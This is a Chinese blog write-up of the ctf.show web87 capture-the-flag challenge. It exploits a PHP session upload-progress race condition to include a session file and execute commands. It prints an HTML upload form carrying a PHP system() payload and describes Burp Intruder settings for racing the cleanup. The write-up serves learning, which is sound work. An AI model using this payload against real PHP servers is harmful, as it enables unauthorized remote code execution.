当前位置: 首页 > article >正文

条件竞争(ctf.show web87)

关于条件竞争:

我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空。因为开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行。

提交表单

<!DOCTYPE html>
<html>
<body>
<form action="https://9b20724b-c913-4677-87e3-84caf86b15c6.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

写入后更改后缀为.html即可访问,随便上传一个文件。然后抓包放到Intruder模块。

 选择我们的Null payloads模式以及无限重复发送

在pool中我们的初始的线程是10

 再抓一个初始访问包

一样的我们直接发送到Intruder模块 。

 也是一样的设置

但是在Pool中将线程设置为30,就是一定要比之前的线程多。

攻击之后等待一会儿 

发现不同长度的包,可以看到我们的条件竞争成功。

然后更改我们的指令抓取flag即可

 


http://www.kler.cn/a/398793.html

相关文章:

  • ARM 汇编指令
  • 【设计模式】行为型模式(五):解释器模式、访问者模式、依赖注入
  • 【Ubuntu24.04】使用服务器
  • LeetCode题解:18.四数之和【Python题解超详细】,三数之和 vs. 四数之和
  • 2024年09月CCF-GESP编程能力等级认证Python编程三级真题解析
  • uniapp vue3的下拉刷新和上拉加载
  • 图形最高分
  • Unreal engine5实现类似鬼泣5维吉尔二段跳
  • 基于YOLOv8深度学习的不良坐姿监测与语音提醒系统(PyQt5界面+数据集+训练代码)
  • Spring Boot【一】
  • 【保姆级】Mac上IDEA卡顿优化
  • STM32低功耗设计NFC与无线距离感应智能钥匙扣
  • 《探索Zynq MPSoC》学习笔记(三)
  • Leetcode160.相交链表
  • PyTorch——从入门到精通:PyTorch基础知识(张量)【PyTorch系统学习】
  • React Native 全栈开发实战班 - 图片加载与优化
  • MCU的时钟体系
  • spring-data-elasticsearch 3.2.4 实现桶bucket排序去重,实现指定字段的聚合搜索
  • Adobe Illustrator(Ai)修图软件入门操作参考,收集查过的各个细节用法
  • 第十六届蓝桥杯模拟赛(第一期)-c++/c
  • [Qt platform plugin问题] Could not load the Qt platform plugin “xcb“
  • CSS优化file控件样式
  • 【动手学深度学习Pytorch】1. 线性回归代码
  • [CKS] 执行Pod安全标准
  • 酒水分销积分商城小程序开发方案php+uniapp
  • go module使用